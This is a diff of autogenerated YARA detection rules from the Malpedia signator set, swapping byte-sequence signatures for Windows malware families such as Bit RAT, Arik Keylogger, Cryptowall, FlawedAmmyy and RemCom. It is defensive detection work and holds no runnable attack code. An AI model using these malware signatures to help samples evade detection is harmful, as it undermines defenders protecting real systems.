+		logic_hash = "9b92693268fddc2e1dd801012d692fa19a40b6fbb8b33ec64e384964127e0228"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172945,32 +180001,32 @@ rule MALPEDIA_Win_Turnedup_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dfc 5f 5e 33cd 895004 5b }
-		$sequence_1 = { 7706 891d???????? ff0d???????? 7506 891d???????? 6a01 }
-		$sequence_2 = { 8b07 8b4004 03c7 33d2 8955dc c645e001 8b4838 }
-		$sequence_3 = { 895dfc 752b 6a00 8d4df8 e8???????? 833d????????00 }
-		$sequence_4 = { 68???????? 8819 e8???????? 8d7dac }
-		$sequence_5 = { c746180f000000 894614 56 884604 e8???????? 83c404 }
-		$sequence_6 = { 830801 8b4dd8 394dc0 741e 837dd000 }
-		$sequence_7 = { 8945bc 8975b0 8b55f4 8b45e0 83fa10 7303 8d45e0 }
-		$sequence_8 = { 8ad5 c0ea04 80e203 02d0 8a45f6 8855f8 8ad0 }
-		$sequence_9 = { 8b45bc 8a11 8810 8b0b 40 }
+		$sequence_0 = { 7531 c705????????01000000 e8???????? e8???????? 833d????????00 7514 68???????? }
+		$sequence_1 = { e8???????? e8???????? 68???????? ff15???????? 833d????????00 751a }
+		$sequence_2 = { 68???????? e8???????? 05d2070000 50 e8???????? a3???????? 6a13 }
+		$sequence_3 = { 8bec 51 6a00 6a00 8d45fc 50 68???????? }
+		$sequence_4 = { 68???????? 8d45dc 50 e8???????? 6a00 e8???????? }
+		$sequence_5 = { 6801000080 e8???????? e8???????? e8???????? e8???????? }
+		$sequence_6 = { e8???????? 05d5070000 50 6a01 6a02 6a08 }
+		$sequence_7 = { 68???????? 8d45dc 50 e8???????? 6a00 e8???????? 05d6070000 }
+		$sequence_8 = { 833d????????00 7514 68???????? 68???????? e8???????? a3???????? 833d????????00 }
+		$sequence_9 = { 51 6a00 6a00 8d45fc 50 68???????? 6802000080 }
 
 	condition:
-		7 of them and filesize <892928
+		7 of them and filesize <671744
 }
-rule MALPEDIA_Win_Bit_Rat_Auto : FILE
+rule MALPEDIA_Win_Sidewinder_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "49210a4b-5430-57e8-a054-5667e0ae3196"
+		id = "476f112b-78c8-59d9-8623-54ca0fa7fd69"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bit_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidewinder_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "eb9ba4fd39163b3bb9047c43b4366afc9171afe908b68fc3b3d7fbbef1990e08"
+		logic_hash = "eff1c6e4779cf645096e1bcfd05e39d6cbab1c4bd8a928e81992c305a580a163"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172984,32 +180040,32 @@ rule MALPEDIA_Win_Bit_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c9 753f 6a00 6a00 68c1000000 6809020000 6a28 }
-		$sequence_1 = { ff7608 ff74241c e8???????? 8be8 83c408 85ed 7425 }
-		$sequence_2 = { e8???????? 8be8 83c408 85ed 7930 6a00 6a00 }
-		$sequence_3 = { 8be5 5d c3 8b4510 8320b7 c7400400000000 33c0 }
-		$sequence_4 = { e8???????? 83c408 85c0 74cf 894704 8b450c 895f10 }
-		$sequence_5 = { f20f114af8 f20f1142f0 0fbf06 660f6ec8 0fbf46fe 83c608 f30fe6c9 }
-		$sequence_6 = { f644242401 895c2410 7413 83faff 0f84f5000000 42 89542414 }
-		$sequence_7 = { eb12 6a00 6a00 6a06 6a79 6a2c e8???????? }
-		$sequence_8 = { f00fc14108 48 7505 8b01 ff5004 8b4df4 64890d00000000 }
-		$sequence_9 = { c70100000000 83c104 83c204 3bce 75e8 8bc2 5e }
+		$sequence_0 = { 83a570fdffff00 8b45c4 89853cffffff 8d8544ffffff 50 8b853cffffff 8b00 }
+		$sequence_1 = { 50 e8???????? 89852cfbffff e8???????? 8d8568fbffff 50 e8???????? }
+		$sequence_2 = { e8???????? 8d45c4 50 8d45a0 50 e8???????? 8d45a0 }
+		$sequence_3 = { 8d45e0 50 e8???????? 0fbf45e8 50 ff75e0 e8???????? }
+		$sequence_4 = { 7d20 6a30 68???????? ff35???????? ffb534ffffff e8???????? 898504ffffff }
+		$sequence_5 = { 8b00 ff7508 ff5004 8b450c 832000 8d45e8 50 }
+		$sequence_6 = { e8???????? 8bd0 8d4de8 e8???????? 8d45c8 50 8d45d8 }
+		$sequence_7 = { ff5020 dbe2 898528ffffff 83bd28ffffff00 7d1d 6a20 68???????? }
+		$sequence_8 = { 8945dc 8d45e4 50 8b45dc 8b00 ff75dc ff5024 }
+		$sequence_9 = { ff75b8 ff75d8 6aff 6820110000 e8???????? 83650c00 eb27 }
 
 	condition:
-		7 of them and filesize <19405824
+		7 of them and filesize <679936
 }
-rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE
+rule MALPEDIA_Win_Aperetif_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "85657a12-5353-59c6-96c2-3cad36ac8818"
+		id = "dd57eb34-4374-5f40-adeb-74673af556ba"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arik_keylogger_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aperetif_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "f00c46b1c19068a9b1d9eb23a1cbe0ffd294a87bebb3732b435039b4cebfac37"
+		logic_hash = "cb1f1d595273c378c0af7214424a9c75d431ec33b0d3744330f8349a67692fb4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173023,32 +180079,32 @@ rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45fc f7402801000000 755a 8b45fc 8b55fc 8b12 ff927c040000 }
-		$sequence_1 = { dd5df8 e8???????? ba???????? 8d45c0 e8???????? 58 85c0 }
-		$sequence_2 = { 8b804c010000 e8???????? e8???????? 84c0 7424 8b45f8 8b804c010000 }
-		$sequence_3 = { b003 e9???????? b004 e9???????? b005 e9???????? b006 }
-		$sequence_4 = { e8???????? 8b45ec 8908 8b45f0 8b08 034df4 7105 }
-		$sequence_5 = { e8???????? 50 85c0 0f8528010000 8b45b8 e8???????? c745b400000000 }
-		$sequence_6 = { eb16 8b45fc 8b4004 0d00001000 0d00002000 8b55fc 894204 }
-		$sequence_7 = { f3a5 8b45f4 83b8d002000000 7432 8b45f8 50 8b4518 }
-		$sequence_8 = { 8b45f4 e8???????? 8b45f4 83c024 8a4d08 8d55ec e8???????? }
-		$sequence_9 = { 8d45d4 e8???????? c745d400000000 8d45d0 e8???????? c745d000000000 8b4614 }
+		$sequence_0 = { 8b4108 8975e4 c70100000000 c7410400000000 8945ec c7410800000000 c645f301 }
+		$sequence_1 = { e8???????? 8a45d8 884524 8b0e c645fc02 85c9 0f8412010000 }
+		$sequence_2 = { 50 8d45f4 64a300000000 8bd9 895db8 8b7508 837e1000 }
+		$sequence_3 = { f20f118424f8080000 8b0cb0 85c9 7422 8b742464 90 0fb7047e }
+		$sequence_4 = { ff74242c 57 e8???????? 83c410 eb14 8b8724000800 b900000200 }
+		$sequence_5 = { 8954242c 660f1f440000 53 ff742424 68c0000000 56 55 }
+		$sequence_6 = { ff742410 ff742424 e8???????? 83c408 897c2410 89742450 8b44245c }
+		$sequence_7 = { e8???????? ff742434 53 e8???????? ff742428 53 e8???????? }
+		$sequence_8 = { ff5210 8b4dc8 c7451803000000 85c9 7418 8b11 8d45a4 }
+		$sequence_9 = { e8???????? c7868400000000000000 8b37 8b8e84000000 85c9 7506 8b8e88000000 }
 
 	condition:
-		7 of them and filesize <4947968
+		7 of them and filesize <10500096
 }
-rule MALPEDIA_Win_Cryptowall_Auto : FILE
+rule MALPEDIA_Win_Http_Troy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4b008ce5-4135-5555-ab2d-ce0ccd0475ff"
+		id = "e1b34482-29c1-5d78-b5ec-9dc58faf8306"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptowall_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.http_troy_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "496e72f17aa4e054ce74cb3a6412cb731c4d48c85c6550891be7fb095dff5a0a"
+		logic_hash = "772a93ccc4b452bdc4c7e0291c378f7eec15f191b5f119cfc79098a0f26a733e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173062,32 +180118,32 @@ rule MALPEDIA_Win_Cryptowall_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7504 33c0 eb21 0fb74d08 83f961 }
-		$sequence_1 = { b979000000 66894de6 ba73000000 668955e8 }
-		$sequence_2 = { e8???????? 83c408 8b0d???????? 898164010000 }
-		$sequence_3 = { 55 8bec 51 837d0800 7441 837d0c00 }
-		$sequence_4 = { 7d1f 6a09 6a00 e8???????? }
-		$sequence_5 = { e8???????? 83c408 8b0d???????? 8901 68f2793618 }
-		$sequence_6 = { 8b4508 668910 8b4d08 83c102 894d08 eb02 eba1 }
-		$sequence_7 = { 668955e8 b874000000 668945ea b965000000 }
-		$sequence_8 = { 7511 6aff 8b4508 50 }
-		$sequence_9 = { 6a00 6a00 6a40 6a01 6a01 6880000000 }
+		$sequence_0 = { dd45f8 dae9 59 59 dfe0 f6c444 7a05 }
+		$sequence_1 = { c3 8b8384400000 85c0 0f84bd010000 8b54240c 52 8b542414 }
+		$sequence_2 = { ff00 85d2 744e 8d45ec 50 53 8bcf }
+		$sequence_3 = { 8b4c2420 b801000000 89410c 8b4c2418 5f 5e e8???????? }
+		$sequence_4 = { 56 57 e8???????? 59 59 eb7d dd4508 }
+		$sequence_5 = { 83c604 3b742408 72ef 5e c3 56 8bf0 }
+		$sequence_6 = { 6a01 68???????? ffd3 85c0 0f857afeffff 393cb5c8540310 742e }
+		$sequence_7 = { 50 8d4c240c 51 6a00 683f000f00 6a00 }
+		$sequence_8 = { e8???????? 8b0d???????? 83c408 3bc1 741f 83c702 }
+		$sequence_9 = { e8???????? 83c41c 8d942418010000 52 ffd3 85c0 7430 }
 
 	condition:
-		7 of them and filesize <417792
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Jupiter_Auto : FILE
+rule MALPEDIA_Win_Kins_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "36445056-0ae8-5be8-adc6-1a78abf2ec58"
+		id = "4907ff1e-c41f-5c86-b473-4fc349042db0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jupiter_auto.yar#L1-L112"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kins_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "f1911af4b4fd9bd3e29d91af55822bde97c05f4b517de64421dfe8b0d1264d94"
+		logic_hash = "f9718717a3f75dea9d210a3bb9fec1b2557a6447053917656440c5e0062c5092"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173101,34 +180157,34 @@ rule MALPEDIA_Win_Jupiter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a4147 884104 8a4146 884105 8b4144 c1f808 884106 }
-		$sequence_1 = { c605????????01 66c705????????0101 c605????????01 c605????????01 66c705????????0101 }
-		$sequence_2 = { 8b4144 c1f808 884106 8a4144 884107 }
-		$sequence_3 = { 884105 8b4144 c1f808 884106 8a4144 }
-		$sequence_4 = { 50 6802000000 ff35???????? ff35???????? }
-		$sequence_5 = { 66c705????????0101 c605????????01 c605????????01 c605????????01 }
-		$sequence_6 = { 884105 8b4144 c1f808 884106 8a4144 884107 }
-		$sequence_7 = { c1f808 884106 8a4144 884107 }
-		$sequence_8 = { c605????????01 66c705????????0101 c605????????01 c605????????01 }
-		$sequence_9 = { 884104 8a4146 884105 8b4144 }
+		$sequence_0 = { e9???????? 8d45dc 8d75cc e8???????? 83f8ff 741f 8bc6 }
+		$sequence_1 = { 8bfe 337dfc 23f8 33fe 037df0 8d9417937198fd 8b7dfc }
+		$sequence_2 = { e8???????? 83f8ff 743d 47 3bfa }
+		$sequence_3 = { f7d3 0bde 33d8 035df4 8dbc3ba72394ab c1c70f 8bd8 }
+		$sequence_4 = { c1e008 0bc2 0fb65116 0fb64917 c1e008 0bc2 }
+		$sequence_5 = { 0fb6c0 83e07f 8bf2 746f 0fb61c39 c1e608 48 }
+		$sequence_6 = { 40 85f6 75d8 8b7510 3b16 7719 }
+		$sequence_7 = { 33de 23df 33da 035908 8d840378a46ad7 c1c007 03c7 }
+		$sequence_8 = { 8d8578fcffff 50 8d857cfdffff 50 }
+		$sequence_9 = { ff4118 8b4118 83f838 762b eb0b c644081c00 }
 
 	condition:
-		7 of them and filesize <224112
+		7 of them and filesize <548864
 }
-rule MALPEDIA_Win_Concealment_Troy_Auto : FILE
+rule MALPEDIA_Win_Flawedammyy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e9475a7d-b707-5e2f-9e3a-86f91b19814e"
+		id = "3bd73c1c-99e8-572f-ab1b-fa9278709331"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.concealment_troy_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flawedammyy_auto.yar#L1-L298"
 		license_url = "N/A"
-		logic_hash = "b699251c533e7fec5531f5ef6172ec9300c9329b32d1137bef102f716d43b763"
+		logic_hash = "4dc76e66643bc2a94f8c1ec04c44669739ca4e00a00102a02a05781e927a5ab3"
 		score = 75
-		quality = 75
+		quality = 33
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -173140,32 +180196,54 @@ rule MALPEDIA_Win_Concealment_Troy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a04 6a00 6aff ff15???????? e8???????? 50 }
-		$sequence_1 = { 56 57 b900000000 8b7508 0fb68600010000 0fb69e01010000 33d2 }
-		$sequence_2 = { 894d80 c7458410000000 33c0 88440590 40 3d00010000 }
-		$sequence_3 = { 50 8d8c2438050000 51 e8???????? 8d942434030000 }
-		$sequence_4 = { 75f6 80bc242001000022 0f854e040000 6808020000 8d942434090000 }
-		$sequence_5 = { 51 e8???????? 8bf0 83c408 85f6 7523 }
-		$sequence_6 = { e8???????? 8d8c243c030000 68???????? 51 e8???????? }
-		$sequence_7 = { 50 ffd5 bb???????? 8bf8 e8???????? 8b35???????? 50 }
-		$sequence_8 = { 55 8bec 83e4f8 b834130000 e8???????? a1???????? 33c4 }
-		$sequence_9 = { 8b1495a0774100 c1e006 8d440224 802080 884dfd 8065fd48 884dff }
+		$sequence_0 = { 0000 0404 0404 0404 0401 }
+		$sequence_1 = { 8bc4 83ec10 660fd600 f30f7e45ac }
+		$sequence_2 = { 00b3854200e5 854200 37 864200 }
+		$sequence_3 = { 8d85bcfcffff 68???????? 50 ffd3 68dff0f081 6a01 e8???????? }
+		$sequence_4 = { ffd6 8d8594f3ffff 50 68???????? 68???????? }
+		$sequence_5 = { 004bbf 42 0062bf 42 }
+		$sequence_6 = { 0039 e342 0048e3 42 }
+		$sequence_7 = { ff05???????? f7460c0c010000 7554 833cbd7cae410000 53 }
+		$sequence_8 = { 8d85bcfdffff 50 ffd3 8b45fc 80384d 0f85a7000000 8078015a }
+		$sequence_9 = { e8???????? 53 8d85c0fdffff 50 56 e8???????? }
+		$sequence_10 = { 0018 874200 58 874200 }
+		$sequence_11 = { 8b35???????? 8d85a0f6ffff 50 8d85a8f8ffff }
+		$sequence_12 = { 002a e342 0039 e342 }
+		$sequence_13 = { 8bf0 ff5208 85f6 0f8818feffff ff7508 8d4df0 e8???????? }
+		$sequence_14 = { 0022 8a4200 828a4200bb8a42 00ff }
+		$sequence_15 = { 0062bf 42 0079bf 42 }
+		$sequence_16 = { ff15???????? 8b75d8 e9???????? 8d85d0feffff 68???????? 50 ff15???????? }
+		$sequence_17 = { 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c303400 c745ecffff0000 0faff9 }
+		$sequence_18 = { 4e 48 75f7 68???????? 57 ff15???????? }
+		$sequence_19 = { 8bdf 8b06 83661c00 83f807 0f87c9000000 ff248580233400 }
+		$sequence_20 = { 8b46f8 8b04855c303400 c1e002 50 6a40 }
+		$sequence_21 = { 8b4ef8 83f907 0f8781000000 ff248dfd243400 }
+		$sequence_22 = { 7330 ff75f8 ff15???????? 81c600040000 6a42 56 }
+		$sequence_23 = { eb0e 8b14957c303400 49 0fafd1 0155fc }
+		$sequence_24 = { 83f937 7f2a 8d44c1d0 0fbe0a }
+		$sequence_25 = { 33db 83f855 0f872affffff 0fb6805a213400 ff2485f6203400 8b8614080000 }
+		$sequence_26 = { 56 8a0a 80f930 7569 }
+		$sequence_27 = { 395d08 88987830ca01 0f8484010000 ff75fc 8b35???????? ffd6 f6450802 }
+		$sequence_28 = { 50 e8???????? ff75ac 8b3d???????? ffd7 ff75a8 ffd7 }
+		$sequence_29 = { ff248580233400 832700 e9???????? 55 e8???????? eb1a }
+		$sequence_30 = { 895df0 ffd6 53 ff75dc 6813100000 ff35???????? }
+		$sequence_31 = { 0f8781000000 ff248dfd243400 881f eb76 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <1350656
 }
-rule MALPEDIA_Win_Darkpink_Auto : FILE
+rule MALPEDIA_Win_Remcom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5843ba22-3e12-5b07-a302-af204fd4f478"
+		id = "a3eb8b2b-3833-5f4e-a476-a250aeb73992"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkpink_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remcom_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "f794d5918ecf33b4e0beff127be6289d027ab1ea81bf4922e3a718a3afdf8df9"
+		logic_hash = "4f3e16a0ac97921c2fcb2fdd27863c94129d85212bc306f9915a79a291488cb1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173179,32 +180257,32 @@ rule MALPEDIA_Win_Darkpink_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b048d442a4000 ffe0 f7c703000000 7413 }
-		$sequence_1 = { 57 50 683f000f00 6a00 68???????? 6801000080 }
-		$sequence_2 = { c3 c705????????08924100 b001 c3 68???????? e8???????? c70424???????? }
-		$sequence_3 = { 8d41fc 50 56 57 e8???????? 57 }
-		$sequence_4 = { 8b85b0f8ffff 0fb70485c43c4100 8d0485c0334100 50 8d8590faffff 03c7 50 }
-		$sequence_5 = { 33f6 8b86f09d4100 85c0 740e }
-		$sequence_6 = { 68???????? ff75f4 ffd6 85c0 0f85ca000000 50 8d45f8 }
-		$sequence_7 = { 8b0495f09d4100 f644082801 7421 57 }
-		$sequence_8 = { e8???????? 6a44 8d45ac 6a00 50 }
-		$sequence_9 = { 6a26 58 0fb60c85c63c4100 0fb63485c73c4100 8bf9 8985b0f8ffff c1e702 }
+		$sequence_0 = { 8be5 5d c3 53 56 8d95f8feffff }
+		$sequence_1 = { 83c8ff 89463c 894638 894640 8b8708110000 50 8d9f0c110000 }
+		$sequence_2 = { e8???????? a1???????? 33c5 8945fc 56 8b7508 68???????? }
+		$sequence_3 = { 50 8d9f0c110000 53 68???????? 8d55e0 68???????? }
+		$sequence_4 = { 008891400023 d18a0688078a 46 018847018a46 }
+		$sequence_5 = { 52 ffd3 85c0 7507 ffd7 8945f0 eb78 }
+		$sequence_6 = { 6a00 6a01 8d4de0 51 ffd3 8d45f4 50 }
+		$sequence_7 = { 8d8e00100000 f7d8 1bc0 23c1 8d8de4feffff }
+		$sequence_8 = { 8b7508 8d34f528e54000 391e 7404 8bc7 }
+		$sequence_9 = { 6a00 51 ffd7 8b4638 6a00 50 ffd7 }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Firechili_Auto : FILE
+rule MALPEDIA_Win_Webc2_Rave_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1e675a4c-a97c-5312-b559-588fd9dfae94"
+		id = "ea4a2e95-f571-5243-9ef5-0d9d72800185"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.firechili_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_rave_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "39f362d1cc29968bda0685edf846cfad0cc3545d7d80fc48d26a5fd5a4bdf9c6"
+		logic_hash = "2cbb2512779b7c01486a2ad87d98dfe34ac5aeaa8fcccabe432ae13b764de599"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173218,34 +180296,34 @@ rule MALPEDIA_Win_Firechili_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7d11 48837c242000 7509 b201 33c9 e8???????? 33c0 }
-		$sequence_1 = { 488b7c2458 488b6c2460 4885f6 744e }
-		$sequence_2 = { 4533c0 4889742420 488d55f7 ff15???????? }
-		$sequence_3 = { c744242866730000 4533c0 33d2 48c744242008020000 ff15???????? c605????????01 488bd7 }
-		$sequence_4 = { 488b7c2430 488b742438 4c8b6c2428 498b442408 }
-		$sequence_5 = { c3 4c8bdc 4d894318 49895310 53 56 4883ec68 }
-		$sequence_6 = { 418bc6 81c200040000 4a393400 740c ffc1 48ffc0 483bc2 }
-		$sequence_7 = { 4889742458 418d5020 48897c2460 ff15???????? 8bf8 85c0 784b }
-		$sequence_8 = { 4c8bc1 488bc1 6690 66833800 }
-		$sequence_9 = { 488d05ff500000 c605????????01 488905???????? 488905???????? 4883c420 }
+		$sequence_0 = { 0f8454010000 8b35???????? 8d542414 6a00 }
+		$sequence_1 = { 0f84ea000000 8d542414 6a00 52 8d44241a 6a01 }
+		$sequence_2 = { 56 68???????? 53 52 ffd7 3bc3 894614 }
+		$sequence_3 = { f7d1 49 3bd9 72e5 }
+		$sequence_4 = { 8d442418 50 51 e8???????? 85c0 74b1 }
+		$sequence_5 = { 895c2448 ffd7 3bc3 894610 7517 }
+		$sequence_6 = { 7418 8b742418 46 4f }
+		$sequence_7 = { 33c9 33f6 85ed 7e45 8b942414020000 53 }
+		$sequence_8 = { 03d1 8bca 894c2414 7872 }
+		$sequence_9 = { e8???????? 83c404 ff15???????? 85ff }
 
 	condition:
-		7 of them and filesize <91136
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Coreshell_Auto : FILE
+rule MALPEDIA_Win_Unidentified_023_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f8b1ab7a-5e3f-5f01-8787-4d480849e1bc"
+		id = "f77c5286-0b1f-561f-8f58-a27a0408436a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coreshell_auto.yar#L1-L424"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_023_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "23addbe4ab3205859c50e41702fa9e9c554a336132b182d2582fda2f9387a324"
+		logic_hash = "1eec10f2afa6bd7e6a1d69558f2f25a771bedb385bd839fc0b4d5b578eec4086"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -173257,70 +180335,32 @@ rule MALPEDIA_Win_Coreshell_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 52 ffd7 ffd0 }
-		$sequence_1 = { 56 6810270000 ff15???????? be06000000 e8???????? 85c0 7401 }
-		$sequence_2 = { 56 ff15???????? 83c40c 3bc6 }
-		$sequence_3 = { c20400 50 a1???????? 6a00 }
-		$sequence_4 = { 8b15???????? 6a01 51 68???????? 52 }
-		$sequence_5 = { 50 57 6a08 51 ff15???????? 8bf8 85ff }
-		$sequence_6 = { 50 ff15???????? 83c404 32db }
-		$sequence_7 = { 56 6a00 6a00 681c800000 6a00 }
-		$sequence_8 = { 6a00 6a00 ff15???????? 8bf0 ff15???????? 50 }
-		$sequence_9 = { 6804010000 6a08 8b15???????? 52 ff15???????? }
-		$sequence_10 = { 8d4c2400 56 51 6a00 }
-		$sequence_11 = { 85c0 7402 eb14 c745f000000000 68e0930400 }
-		$sequence_12 = { 68???????? 50 a3???????? ffd6 a3???????? a1???????? }
-		$sequence_13 = { 8bf1 8b4604 85c0 7407 50 ff15???????? 8b36 }
-		$sequence_14 = { ff15???????? ffd0 85c0 7508 ff15???????? }
-		$sequence_15 = { 68???????? 6800080000 8d85fcefffff 50 ff15???????? }
-		$sequence_16 = { 68???????? 50 ffd6 6a00 6a00 6a00 }
-		$sequence_17 = { 51 56 8d442404 6a00 8bf1 50 }
-		$sequence_18 = { 51 8b0d???????? 52 50 57 68???????? 51 }
-		$sequence_19 = { 81e1ffff0000 81e1ffff0000 81e1ff000000 81e1ff000000 }
-		$sequence_20 = { 8d55f0 52 e8???????? 83c408 33c0 8b4df0 64890d00000000 }
-		$sequence_21 = { ff15???????? 50 68???????? 68???????? 8985f0fdffff 8d85f4fdffff 6804010000 }
-		$sequence_22 = { 85ed 7476 85ff 7516 8b5c241c 8b0d???????? 53 }
-		$sequence_23 = { 8b15???????? 57 6a00 52 ff15???????? 8b0d???????? 8bf0 }
-		$sequence_24 = { 8985f0fdffff 8d85f4fdffff 6804010000 50 ff15???????? 83c414 }
-		$sequence_25 = { c1e908 81e1ff000000 0fb6d1 52 }
-		$sequence_26 = { 8b8dd8edffff 51 8d95f4edffff 52 68???????? }
-		$sequence_27 = { 81e2ffff0000 81e2ffff0000 c1ea08 81e2ff000000 }
-		$sequence_28 = { 83c414 8d8df4fdffff 51 ff15???????? }
-		$sequence_29 = { 50 68???????? 8b0d???????? 51 ff15???????? ffd0 }
-		$sequence_30 = { 6888130000 ff15???????? c745f000000000 c745f400000000 }
-		$sequence_31 = { 56 51 56 6a01 }
-		$sequence_32 = { 8be8 8b442410 50 e8???????? }
-		$sequence_33 = { 8d8dfcefffff 51 ff15???????? ba00080000 }
-		$sequence_34 = { 50 ff15???????? a1???????? 83c418 }
-		$sequence_35 = { ffd6 ffd0 68???????? a3???????? }
